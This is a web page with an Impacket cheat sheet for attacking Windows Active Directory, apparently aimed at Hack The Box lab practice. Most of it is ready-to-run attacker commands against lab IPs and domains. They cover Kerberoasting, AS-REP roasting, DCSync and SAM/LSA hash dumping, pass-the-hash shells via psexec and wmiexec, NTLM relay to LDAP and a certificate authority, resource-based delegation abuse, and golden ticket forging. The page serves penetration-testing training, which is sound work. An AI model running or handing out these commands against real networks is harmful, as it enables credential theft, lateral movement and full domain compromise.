Impacket
Impacket implements SMB, Kerberos, LDAP, MSRPC and MSSQL in Python, and its example scripts are the bread and butter of attacking Active Directory from Linux. On Kali they are installed as impacket-name (impacket-secretsdump); with pip, as name.py.
- Platform
- Linux (Python)
- Official site
- github.com/fortra/impacket
- On HTB
- 35 machines
Install
pipx install impacket- T1558.003 Kerberoasting
- T1558.004 AS-REP Roasting
- T1003.006 DCSync
- T1003.002 Security Account Manager
- T1003.003 NTDS
- T1003.004 LSA Secrets
- T1021.002 SMB/Windows Admin Shares
- T1047 Windows Management Instrumentation
- T1550.002 Pass the Hash
- T1550.003 Pass the Ticket
- T1557.001 LLMNR/NBT-NS Poisoning and SMB Relay
- T1558 Steal or Forge Kerberos Tickets
- Kerberoasting
- AS-REP roasting
- DCSync
- SAM/LSA/LSASS dumping
- Remote execution (WinRM, PsExec, WMI)
- Kerberos delegation (RBCD)
- Pass-the-hash / ticket
- NTLM capture and relay
- MSSQL abuse
Impacket cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
More examples
Users by SID with the guest account
impacket-lookupsid [email protected] -no-pass
Domain hashes from a copy of ntds.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Connect to MSSQL with a Windows account
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-auth
Use a Kerberos ticket (no password)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Turn a Rubeus ticket (.kirbi) into a Linux one
impacket-ticketConverter ticket.kirbi ticket.ccacheIn our cheatsheets
File transfer › Windows
SMB share on your machine
Attacker
impacket-smbserver share $(pwd) -smb2support
If Windows blocks guest access
Attacker
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwnSQL injection payloads › MSSQL
Connect
Attacker
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-authWindows and Active Directory privilege escalation › Windows
Extract the SAM hashes
Attacker
impacket-secretsdump -sam sam -system system LOCAL
Pass-the-hash with psexec
Attacker
impacket-psexec [email protected] -hashes :HASH_NTWindows and Active Directory privilege escalation › Active Directory
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcatCrack with hashcat -m 18200.
Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -requestCrack with hashcat -m 13100.
DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlm
Shell as administrator with the hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NTActive Directory in depth › NTLM relay
Relay to SMB to dump SAM
Attacker
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay to LDAP for delegation or shadow credentials
Attacker
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay to the CA (ESC8) for a machine cert
Attacker
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerActive Directory in depth › Delegation
With Impacket
Attacker
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Request a service ticket as administrator (S4U2proxy)
Attacker
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Create a machine account (if MachineAccountQuota > 0)
Attacker
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Write the delegation and request the ticket
Attacker
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20Active Directory in depth › Impacket
TGT (and export it)
Attacker
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
Kerberoasting
Attacker
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txtCrack it: hashcat -m 13100 kerberoast.txt rockyou.txt
AS-REP roasting
Attacker
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txthashcat -m 18200
psexec (SYSTEM)
Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
wmiexec (más sigiloso)
Attacker
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
with pass-the-hash
Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
SAM/LSA (local admin)
Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
DCSync
Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
Golden ticket (with the krbtgt hash)
Attacker
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administratorC2 and post-exploitation › Lateral movement
impacket-psexec
Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
Sysinternals PsExec (from Windows)
Target
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd
impacket-wmiexec
Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
impacket-dcomexec (MMC20)
Attacker
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20No command matches.
HTB machines where Impacket is used
Taken from the chapters of IppSec videos where Impacket shows up. The ▶ link jumps to the minute of that part.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides that use Impacket
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam 4 min read Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.
- Kerberos delegation: unconstrained, constrained and RBCD explained and exploited 4 min read The three kinds of Kerberos delegation in AD, how to find them, and how to abuse each with getST, rbcd.py and addcomputer to impersonate the administrator.
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync 4 min read What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.
- Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory 3 min read What makes an account vulnerable, how to request the tickets with Impacket, NetExec or Rubeus, how to crack them with hashcat, and the usual errors (clock, etype, usernames).
- MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft 3 min read Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
- ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16) 4 min read Find vulnerable ADCS templates and CAs with Certipy and exploit ESC1, ESC4, ESC7, ESC8, ESC9 and ESC16, with the typical error for each case.
- LFI: from reading /etc/passwd to running commands 4 min read Local file inclusion step by step: path traversal and its bypasses, PHP wrappers, which files to read on Linux and Windows, and the routes to turn an LFI into RCE.